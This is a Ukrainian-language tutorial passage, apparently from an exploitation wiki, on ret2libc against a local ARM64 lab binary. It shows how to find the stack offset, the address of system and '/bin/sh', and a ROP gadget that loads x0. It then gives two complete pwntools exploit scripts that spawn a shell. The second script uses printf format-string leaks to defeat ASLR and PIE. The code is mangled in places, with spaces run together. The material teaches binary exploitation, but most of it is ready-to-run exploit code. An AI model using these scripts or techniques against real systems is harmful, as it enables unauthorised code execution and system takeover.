Створюючи шаблон з pattern create 200, використовуючи його та перевіряючи зсув за допомогою pattern search $x30, ми можемо побачити, що зсув становить 108 (0x6c).
Дивлячись на дизасембльовану основну функцію, ми можемо побачити, що ми хочемо перейти до інструкції, щоб перейти до printf безпосередньо, зсув якої від місця, де завантажується бінарник, становить 0x860:
Знайти системну функцію та рядок /bin/sh
Оскільки ASLR вимкнено, адреси завжди будуть однаковими:
Знайти гаджети
Нам потрібно мати в x0 адресу до рядка /bin/sh та викликати system.
Використовуючи rooper, був знайдений цікавий гаджет:
Цей гаджет завантажить x0 з $sp + 0x18 і потім завантажить адреси x29 та x30 з sp і стрибне до x30. Отже, з цим гаджетом ми можемо контролювати перший аргумент і потім стрибнути до system.
Exploit
from pwn import*from time import sleepp =process('./rop')# For local binarylibc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")libc.address =0x0000fffff7df0000binsh =next(libc.search(b"/bin/sh"))#Verify with find /bin/shsystem = libc.sym["system"]defexpl_bof(payload):p.recv()p.sendline(payload)# Ret2mainstack_offset =108ldr_x0_ret =p64(libc.address +0x6bdf0)# ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;x29 =b"AAAAAAAA"x30 =p64(system)fill =b"A"* (0x18-0x10)x0 =p64(binsh)payload =b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0p.sendline(payload)p.interactive()p.close()
Ret2lib - обхід NX, ASL та PIE з витоками printf зі стеку
Цей гаджет завантажить x0 з $sp + 0x78 і потім завантажить адреси x29 та x30 з sp і стрибне до x30. Отже, з цим гаджетом ми можемо контролювати перший аргумент і потім стрибнути до system.
Exploit
from pwn import*from time import sleepp =process('./rop')# For local binarylibc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")defleak_printf(payload,is_main_addr=False):p.sendlineafter(b">\n" ,payload)response = p.recvline().strip()[2:] #Remove new line and "0x" prefixif is_main_addr:response = response[:-4]+b"0000"returnint(response, 16)defexpl_bof(payload):p.recv()p.sendline(payload)# Get main addressmain_address =leak_printf(b"%21$p", True)print(f"Bin address: {hex(main_address)}")# Ret2mainstack_offset =108main_call_printf_offset =0x860#Offset inside main to call printfleakprint("Going back to "+str(hex(main_address + main_call_printf_offset)))ret2main =b"A"*stack_offset +p64(main_address + main_call_printf_offset)expl_bof(ret2main)# libclibc_base_address =leak_printf(b"%25$p")-0x26dc4libc.address = libc_base_addressprint(f"Libc address: {hex(libc_base_address)}")binsh =next(libc.search(b"/bin/sh"))system = libc.sym["system"]# ret2systemldr_x0_ret =p64(libc.address +0x49c40)# ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;x29 =b"AAAAAAAA"x30 =p64(system)fill =b"A"* (0x78-0x10)x0 =p64(binsh)payload =b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0p.sendline(payload)p.interactive()